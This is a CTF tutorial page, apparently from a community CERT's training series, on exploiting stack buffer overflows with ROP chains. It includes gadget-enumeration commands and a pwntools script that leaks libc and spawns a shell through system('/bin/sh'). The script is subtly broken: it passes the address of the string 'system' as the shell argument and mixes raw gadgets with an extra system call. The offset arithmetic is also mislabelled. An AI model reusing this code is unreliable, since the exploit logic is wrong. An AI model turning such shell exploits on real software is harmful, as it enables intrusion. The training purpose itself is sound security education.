PISA Pakistan — Community CERT

← 🚩 CTF: Getting Started

38. Exploit Development: Stack Buffer Overflows and ROP Chains

⏱ 11 min

Exploit Development: Stack Buffer Overflows and ROP Chains

From Bug to Shell: The Exploit Pipeline

Stack buffer overflows remain a staple in CTF binary challenges. Understanding how to turn a simple overwrite into a reliable shell is essential for any reverse‑engineering specialist.

Memory Protections You Must Know

  • ASLR – randomizes base addresses of libraries and the stack.
  • DEP/NX – marks memory pages as non‑executable.
  • Stack Canaries – detect corrupted return addresses at runtime.

Identifying which protections are present is the first step; many CTF binaries enable ASLR but lack NX or vice‑versa.

Enumerating ROP Gadgets

  1. Disassemble the binary with objdump -M intel -d binary > disasm.txt.
  2. Use ROPgadget --binary binary > gadgets.txt to list potential gadgets.
  3. Filter for useful sequences such as pop rdi; ret or pop rsi; pop r15; ret that can control function arguments.

Building a ROP Chain to Call system("/bin/sh")

  • Step 1 – Locate libc base (often leaked via a format‑string bug in the challenge).
  • Step 2 – Compute offsets: system_offset = libc_base + system_sym, /bin/sh_offset = libc_base + binsh_sym.
  • Step 3 – Construct the chain:
    pop_rdi; ret   # load /bin/sh address
    /bin/sh_addr
    system_addr
    
  • Step 4 – Overwrite the return address on the stack and trigger the return.

Automating Exploit Creation with pwntools

from pwn import *

elf = context.binary = ELF('./vuln_binary')
libc = ELF('/path/to/libc.so.6')

p = process()
# Leak libc address via format string
p.sendline(b'%7$s' + p64(elf.got['printf']))
libc.address = u64(p.recvuntil(b'\x7f')[-6:]) - libc.sym['printf']
log.info(f'Libc base: {hex(libc.address)}')

rop = ROP(libc)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(next(libc.search(b'/bin/sh')))
rop.system(next(libc.search(b'system')))

payload = flat({0x100: rop.chain()})
p.sendline(payload)
p.interactive()

Lab Setup: Dockerized CTF Environment

  • Use docker run -it --rm -v $(pwd):/ctf ctf-base to launch a pre‑built container with pwntools, gdb, and ropgadget pre‑installed.
  • Practice on pwnable.kr or the official ctfs.pisa.maahir.io practice challenges.

Do

  • Always check for canaries before constructing a payload; skip them or leak them first.
  • Use checksec (from pwntools) to quickly assess protections.
  • Document every gadget address and offset for reproducibility.

Don't

  • Assume NX is absent without verification—your payload will segfault.
  • Hard‑code addresses across runs; they change with ASLR.
  • Forget to sanitize input when a flag contains shell metacharacters.

Takeaway

Master the ROP pipeline—gadget enumeration, offset calculation, and pwntools scripting—so you can reliably exploit a stack overflow in any CTF binary you encounter.

← PrevNext →